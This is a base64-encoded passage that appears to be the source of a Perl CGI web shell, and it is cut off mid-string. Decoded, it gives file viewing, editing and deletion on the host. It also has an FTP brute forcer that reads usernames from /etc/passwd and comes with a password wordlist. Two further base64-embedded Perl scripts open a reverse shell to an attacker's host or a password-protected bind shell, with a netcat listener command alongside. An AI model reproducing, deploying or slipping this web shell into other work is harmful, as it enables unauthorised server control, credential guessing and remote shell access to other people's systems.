T09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQojIEZvcm0gU2F2ZSBGaWxlIAojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CnN1YiBTYXZlRmlsZUZvcm0KewoJbXkgJHJlc3VsdCA9IiI7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglzdWJzdHIoJFJ1bkNvbW1hbmQsMCw1KT0iIjsKCW15ICRmaWxlPSZ0cmltKCRSdW5Db21tYW5kKTsKCSRzYXZlPSc8YnI+PGlucHV0IG5hbWU9ImEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9InNhdmUiIGNsYXNzPSJzdWJtaXQiID4nOwoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJFJ1bkNvbW1hbmQ7CglteSAkZGlyPSI8c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPiIuJkFkZExpbmtEaXIoImd1aSIpLiI8L3NwYW4+IjsKCWlmKC13ICRGaWxlKQoJewoJCSRyb3dzPSIyMyIKCX1lbHNlCgl7CgkJJG1zZz0iPGJyPjxmb250IHN0eWxlPSdjb2xvcjogeWVsbG93OycgPiBDYW5uJ3Qgd3JpdGUgZmlsZSE8Zm9udD48YnI+IjsKCQkkcm93cz0iMjAiCgl9CgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7CgkkUnVuQ29tbWFuZCA9ICJlZGl0ICRSdW5Db21tYW5kIjsKCSRyZXN1bHQgLj0gIDw8RU5EOwoJPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRFbmNvZGVDdXJyZW50RGlyIj4KCSRQcm9tcHQKCTxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI0MCIgbmFtZT0iYyI+Cgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPgoJPGJyPkNvbW1hbmQ6IDxydW4+ICRSdW5Db21tYW5kIDwvcnVuPgoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IiRmaWxlIiA+ICRzYXZlIDxicj4gJG1zZwoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+CkVORAoJCgkkcmVzdWx0IC49ICZIdG1sU3BlY2lhbENoYXJzKCZGaWxlT3BlbigkRmlsZSwwKSk7CgkkcmVzdWx0IC49ICI8L3RleHRhcmVhPiI7CgkkcmVzdWx0IC49ICI8L2Zvcm0+IjsKCXJldHVybiAkcmVzdWx0Owp9CiM9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KIyBGaWxlIE9wZW4KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQpzdWIgRmlsZU9wZW4oJCl7CglteSAkZmlsZSA9IHNoaWZ0OwoJbXkgJGJpbmFyeSA9IHNoaWZ0OwoJbXkgJHJlc3VsdCA9ICIiOwoJbXkgJG4gPSAiIjsKCWlmKC1mICRmaWxlKXsKCQlpZihvcGVuKEZJTEUsJGZpbGUpKXsKCQkJaWYoJGJpbmFyeSl7CgkJCQliaW5tb2RlIEZJTEU7CgkJCX0KCQkJd2hpbGUgKCgkbiA9IHJlYWQgRklMRSwgJGRhdGEsIDEwMjQpICE9IDApIHsKCQkJCSRyZXN1bHQgLj0gJGRhdGE7CgkJCX0KCQkJY2xvc2UoRklMRSk7CgkJfQoJfWVsc2UKCXsKCQlyZXR1cm4gIk5vdCdzIGEgRmlsZSEiOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQojIFNhdmUgRmlsZQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CnN1YiBTYXZlRmlsZSgkKQp7CglteSAkRGF0YT0gc2hpZnQgOwoJbXkgJEZpbGU9IHNoaWZ0OwoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7CglpZihvcGVuKEZJTEUsICI+JEZpbGUiKSkKCXsKCQliaW5tb2RlIEZJTEU7CgkJcHJpbnQgRklMRSAkRGF0YTsKCQljbG9zZSBGSUxFOwoJCXJldHVybiAxOwoJfWVsc2UKCXsKCQlyZXR1cm4gMDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQnJ1dGUgRm9yY2VyIEZvcm0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQnJ1dGVGb3JjZXJGb3JtCnsKCW15ICRyZXN1bHQ9IiI7CgkkcmVzdWx0IC49IDw8RU5EOwoKPHRhYmxlPgoKPHRyPgo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4KU2ltcGxlIEZUUCBicnV0ZSBmb3JjZXI8YnI+Ck5vdGU6IE9ubHkgc2NhbiBmcm9tIDEgdG8gMyB1c2VyIDotUzxicj4KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPgoKPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+CjwvdGQ+CjwvdHI+Cjx0cj4KPHRkPlVzZXI6PGJyPjx0ZXh0YXJlYSByb3dzPSIxOCIgY29scz0iMzAiIG5hbWU9InVzZXIiPgpFTkQKY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsKJHJlc3VsdCAuPSA8PCdFTkQnOwo8L3RleHRhcmVhPjwvdGQ+Cjx0ZD4KClBhc3M6PGJyPgo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzCjEyMyFAIwoxMjNhZG1pbgoxMjNhYmMKMTIzNDU2YWRtaW4KMTIzNDU1NDMyMQoxMjM0NDMyMQpwYXNzMTIzCmFkbWluCmFkbWluY3AKYWRtaW5pc3RyYXRvcgptYXRraGF1CnBhc3NhZG1pbgpwQHNzd29yZApwQHNzdzByZApwYXNzd29yZAoxMjM0NTYKMTIzNDU2NwoxMjM0NTY3OAoxMjM0NTY3ODkKMTIzNDU2Nzg5MAoxMTExMTEKMDAwMDAwCjIyMjIyMgozMzMzMzMKNDQ0NDQ0CjU1NTU1NQo2NjY2NjYKNzc3Nzc3Cjg4ODg4OAo5OTk5OTkKMTIzMTIzCjIzNDIzNAozNDUzNDUKNDU2NDU2CjU2NzU2Nwo2Nzg2NzgKNzg5Nzg5CjEyMzMyMQo0NTY2NTQKNjU0MzIxCjc2NTQzMjEKODc2NTQzMjEKOTg3NjU0MzIxCjA5ODc2NTQzMjEKYWRtaW4xMjMKYWRtaW4xMjM0NTYKYWJjZGVmCmFiY2FiYwohQCMhQCMKIUAjJCVeCiFAIyQlXiYqKAohQCMkJCNAIQphYmMxMjMKYW5oeWV1ZW0KaWxvdmV5b3UKPC90ZXh0YXJlYT4KPC90ZD4KPC90cj4KPHRyPgo8dGQgY29sc3Bhbj0iMiIgYWxpZ249ImNlbnRlciI+ClNsZWVwOjxzZWxlY3QgbmFtZT0ic2xlZXAiPgoKPG9wdGlvbj4wPC9vcHRpb24+CjxvcHRpb24+MTwvb3B0aW9uPgo8b3B0aW9uPjI8L29wdGlvbj4KCjxvcHRpb24+Mzwvb3B0aW9uPgo8L3NlbGVjdD4gCjxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJzdWJtaXQiIHZhbHVlPSJCcnV0ZSBGb3JjZXIiLz48L3RkPjwvdHI+CjwvZm9ybT4KPC90YWJsZT4KRU5ECnJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBCcnV0ZSBGb3JjZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQnJ1dGVGb3JjZXIKewoJbXkgJHJlc3VsdD0iIjsKCSRTZXJ2ZXI9JEVOVnsnU0VSVkVSX0FERFInfTsKCWlmKCRpbnsndXNlcid9IGVxICIiKQoJewoJCSRyZXN1bHQgLj0gJkJydXRlRm9yY2VyRm9ybTsKCX1lbHNlCgl7CgkJdXNlIE5ldDo6RlRQOyAKCQlAdXNlcj0gc3BsaXQoL1xuLywgJGlueyd1c2VyJ30pOwoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7CgkJY2hvbXAoQHVzZXIpOwoJCWNob21wKEBwYXNzKTsKCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsKCQlmb3JlYWNoICR1c2VybmFtZSAoQHVzZXIpCgkJewoJCQlpZigkdXNlcm5hbWUgbmUgIiIpCgkJCXsKCQkJCWZvcmVhY2ggJHBhc3N3b3JkIChAcGFzcykKCQkJCXsKCQkJCQkkZnRwID0gTmV0OjpGVFAtPm5ldygkU2VydmVyKSBvciBkaWUgIkNvdWxkIG5vdCBjb25uZWN0IHRvICRTZXJ2ZXJOYW1lXG4iOyAKCQkJCQlpZigkZnRwLT5sb2dpbigiJHVzZXJuYW1lIiwiJHBhc3N3b3JkIikpCgkJCQkJewoJCQkJCQkkcmVzdWx0IC49ICI8YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nZnRwOi8vJHVzZXJuYW1lOiRwYXNzd29yZFxAJFNlcnZlcic+WytdIGZ0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXI8L2E+PGJyPlxuIjsKCQkJCQkJJGZ0cC0+cXVpdCgpOwoJCQkJCQlicmVhazsKCQkJCQl9CgkJCQkJaWYoJGlueydzbGVlcCd9IG5lICIwIikKCQkJCQl7CgkJCQkJCXNsZWVwKGludCgkaW57J3NsZWVwJ30pICogMTAwMCk7CgkJCQkJfQoJCQkJCSRmdHAtPnF1aXQoKTsKCQkJCX0KCQkJfQoJCX0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgQmFja2Nvbm5lY3QgRm9ybQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBCYWNrQmluZEZvcm0KewoJcmV0dXJuIDw8RU5EOwoJPGJyPjxicj4KCgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPgoJPHRkPiBIb3N0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIG5hbWU9ImNsaWVudGFkZHIiIHZhbHVlPSIkRU5WeydSRU1PVEVfQUREUid9Ij4KCSBQb3J0OiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iNiIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjgwIiBvbmtleXVwPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmEnKS5pbm5lckhUTUw9dGhpcy52YWx1ZTsiPjwvdGQ+CgoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkNvbm5lY3QiPjwvdGQ+Cgk8L2Zvcm0+Cgk8L3RyPgoJPHRyPgoJPHRkIGNvbHNwYW49Mz48Zm9udCBjb2xvcj0jRkZGRkZGPlsrXSBDbGllbnQgbGlzdGVuIGJlZm9yZSBjb25uZWN0IGJhY2shCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+Cgk8YnI+WytdIENsaWVudCBsaXN0ZW4gd2l0aCBjb21tYW5kOiA8cnVuPm5jIC12diAtbCAtcCA8c3BhbiBpZD0iYmEiPjgwPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPgoKCTxicj48YnI+Cgk8dGFibGU+Cgk8dHI+Cgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4KCTx0ZD5CaW5kIFBvcnQ6IDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJiYWNrYmluZCI+PC90ZD4KCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+CgoJIFBhc3N3b3JkOiA8aW5wdXQgdHlwZT0idGV4dCIgc2l6ZT0iMTIiIG5hbWU9ImJpbmRwYXNzIiB2YWx1ZT0idmluYWtpZCI+PC90ZD4KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJCaW5kIj48L3RkPgoJPC9mb3JtPgoJPC90cj4KCTx0cj4KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gVGVzdGluZyAuLi4uCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPgoKCTwvdHI+Cgk8L3RhYmxlPjxicj4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIEJhY2tjb25uZWN0IHVzZSBwZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJhY2tCaW5kCnsKCXVzZSBTb2NrZXQ7CQoJJGJhY2twZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNpUlRhR1ZzYkFrOUlDSXZZbWx1TDJKaGMyZ2lPdzBLSkVGU1IwTTlRRUZTUjFZN0RRcDFjMlVnVTI5amEyVjBPdzBLZFhObElFWnBiR1ZJWVc1a2JHVTdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnWjJWMGNISnZkRzlpZVc1aGJXVW9JblJqY0NJcEtTQnZjaUJrYVdVZ2NISnBiblFnSWxzdFhTQlZibUZpYkdVZ2RHOGdVbVZ6YjJ4MlpTQkliM04wWEc0aU93MEtZMjl1Ym1WamRDaFRUME5MUlZRc0lITnZZMnRoWkdSeVgybHVLQ1JCVWtkV1d6RmRMQ0JwYm1WMFgyRjBiMjRvSkVGU1IxWmJNRjBwS1NrZ2IzSWdaR2xsSUhCeWFXNTBJQ0piTFYwZ1ZXNWhZbXhsSUhSdklFTnZibTVsWTNRZ1NHOXpkRnh1SWpzTkNuQnlhVzUwSUNKRGIyNXVaV04wWldRaElqc05DbE5QUTB0RlZDMCtZWFYwYjJac2RYTm9LQ2s3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDSStKbE5QUTB0RlZDSXBPdzBLYjNCbGJpaFRWRVJGVWxJc0lqNG1VMDlEUzBWVUlpazdEUXB3Y21sdWRDQWlMUzA5UFNCRGIyNXVaV04wWldRZ1FtRmphMlJ2YjNJZ1BUMHRMU0FnWEc1Y2JpSTdEUXB6ZVhOMFpXMG9JblZ1YzJWMElFaEpVMVJHU1V4Rk95QjFibk5sZENCVFFWWkZTRWxUVkNBN1pXTm9ieUFuV3l0ZElGTjVjM1JsYldsdVptODZJQ2M3SUhWdVlXMWxJQzFoTzJWamFHODdaV05vYnlBbld5dGRJRlZ6WlhKcGJtWnZPaUFuT3lCcFpEdGxZMmh2TzJWamFHOGdKMXNyWFNCRWFYSmxZM1J2Y25rNklDYzdJSEIzWkR0bFkyaHZPeUJsWTJodklDZGJLMTBnVTJobGJHdzZJQ2M3SkZOb1pXeHNJaWs3RFFwamJHOXpaU0JUVDBOTFJWUTciOwoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsKCgkkQ2xpZW50QWRkciA9ICRpbnsnY2xpZW50YWRkcid9OwoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOwoJaWYoJENsaWVudFBvcnQgZXEgMCkKCXsKCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsKCX1lbHNpZighJENsaWVudEFkZHIgZXEgIiIpCgl7CgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOwoJCWlmKC13ICIvdG1wLyIpCgkJewoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRBZGRyICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9ZWxzZQoJewoJCSREYXRhPWRlY29kZV9iYXNlNjQoJGJpbmRwZXJsKTsKCQlpZigtdyAiL3RtcCIpCgkJewoJCQkkRmlsZT0iL3RtcC9iaW5kcG9ydC5wbCI7CQoJCX1lbHNlCgkJewoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmluZHBvcnQucGwiOwoJCX0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsKCQlwcmludCBGSUxFICREYXRhOwoJCWNsb3NlIEZJTEU7CgkJc3lzdGVtKCJwZXJsICRGaWxlICRDbGllbnRQb3J0Iik7CgkJdW5saW5rKCRGaWxlKTsKCQlleGl0IDA7Cgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojICBBcnJheSBMaXN0IERpcmVjdG9yeQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBSbURpcigkKSAKewoJbXkgJGRpciA9IHNoaWZ0OwoJaWYob3BlbmRpcihESVIsJGRpcikpCgl7CgkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKERJUikpCgkJewoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpCgkJCXsKCQkJCSRmaWxlPSAkZGlyLiRQYXRoU2VwLiRmaWxlOwoJCQkJaWYoLWQgJGZpbGUpCgkJCQl7CgkJCQkJJlJtRGlyKCRmaWxlKTsKCQkJCX0KCQkJCWVsc2UKCQkJCXsKCQkJCQl1bmxpbmsoJGZpbGUpOwoJCQkJfQoJCQl9CgkJfQoJCWNsb3NlZGlyKERJUik7Cgl9Cn0Kc3ViIEZpbGVPd25lcigkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCR1aWQsJGdpZCkgPSAoc3RhdCgkZmlsZSkpWzQsNV07CgkJaWYoJFdpbk5UKQoJCXsKCQkJcmV0dXJuICI/Pz8iOwoJCX0KCQllbHNlCgkJewoJCQkkbmFtZT1nZXRwd3VpZCgkdWlkKTsKCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOwoJCQlyZXR1cm4gJG5hbWUuIi8iLiRncm91cDsKCQl9Cgl9CglyZXR1cm4gIj8/PyI7Cn0Kc3ViIFBhcmVudEZvbGRlcigkKQp7CglteSAkcGF0aCA9IHNoaWZ0OwoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOwoJY2hvcCgkcGF0aCA9IGAkQ29tbWApOwoJcmV0dXJuICRwYXRoOwp9CnN1YiBGaWxlUGVybXMoJCkKewoJbXkgJGZpbGUgPSBzaGlmdDsKCW15ICR1ciA9ICItIjsKCW15ICR1dyA9ICItIjsKCWlmKC1lICRmaWxlKQoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWlmKC1yICRmaWxlKXsgJHVyID0gInIiOyB9CgkJCWlmKC13ICRmaWxlKXsgJHV3ID0gInciOyB9CgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsKCQl9ZWxzZQoJCXsKCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsKCQkJJHJlc3VsdCA9IHNwcmludGYoIiUwNG8iLCAkbW9kZSAmIDA3Nzc3KTsKCQkJcmV0dXJuICRyZXN1bHQ7CgkJfQoJfQoJcmV0dXJuICIwMDAwIjsKfQpzdWIgRmlsZUxhc3RNb2RpZmllZCgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWUgJGZpbGUpCgl7CgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOwoJCSgkZCwkbSwkeSwkaCwkaSkgPSAobG9jYWx0aW1lKCRsYSkpWzMsNCw1LDIsMV07CgkJJHkgPSAkeSArIDE5MDA7CgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOwoJCSRsbXRpbWUgPSBzcHJpbnRmKCIlMDJkLyVzLyU0ZCAlMDJkOiUwMmQiLCRkLCRtb250aFskbV0sJHksJGgsJGkpOwoJCXJldHVybiAkbG10aW1lOwoJfQoJcmV0dXJuICI/Pz8iOwp9CnN1YiBGaWxlU2l6ZSgkKQp7CglteSAkZmlsZSA9IHNoaWZ0OwoJaWYoLWYgJGZpbGUpCgl7CgkJcmV0dXJuIC1zICIkZmlsZSI7Cgl9CglyZXR1cm4gIjAiOwp9CnN1YiBQYXJzZUZpbGVTaXplKCQpCnsKCW15ICRzaXplID0gc2hpZnQ7CglpZigkc2l6ZSA8PSAxMDI0KQoJewoJCXJldHVybiAkc2l6ZS4gIiBCIjsKCX0KCWVsc2UKCXsKCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIAoJCXsKCQkJJHNpemUgPSBzcHJpbnRmKCIlLjAyZiIsJHNpemUgLyAxMDI0KTsKCQkJcmV0dXJuICRzaXplLiIgS0IiOwoJCX0KCQllbHNlIAoJCXsKCQkJJHNpemUgPSBzcHJpbnRmKCIlLjJmIiwkc2l6ZSAvIDEwMjQgLyAxMDI0KTsKCQkJcmV0dXJuICRzaXplLiIgTUIiOwoJCX0KCX0KfQpzdWIgdHJpbSgkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nID1+IHMvXlxzKy8vOwoJJHN0cmluZyA9fiBzL1xzKyQvLzsKCXJldHVybiAkc3RyaW5nOwp9CnN1YiBBZGRTbGFzaGVzKCQpCnsKCW15ICRzdHJpbmcgPSBzaGlmdDsKCSRzdHJpbmc9fiBzL1xcL1xcXFwvZzsKCXJldHVybiAkc3RyaW5nOwp9CnN1YiBUcmltU2xhc2hlcygkKQp7CglteSAkc3RyaW5nID0gc2hpZnQ7Cgkkc3RyaW5nPX4gcy9cL1wvL1wvL2c7Cgkkc3RyaW5nPX4gcy9cXFxcL1xcL2c7CglyZXR1cm4gJHN0cmluZzsKfQpzdWIgTGlzdERpcgp7CglteSAkcGF0aCA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpci4kUGF0aFNlcCk7CglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIG9uU3VibWl0PVwiRW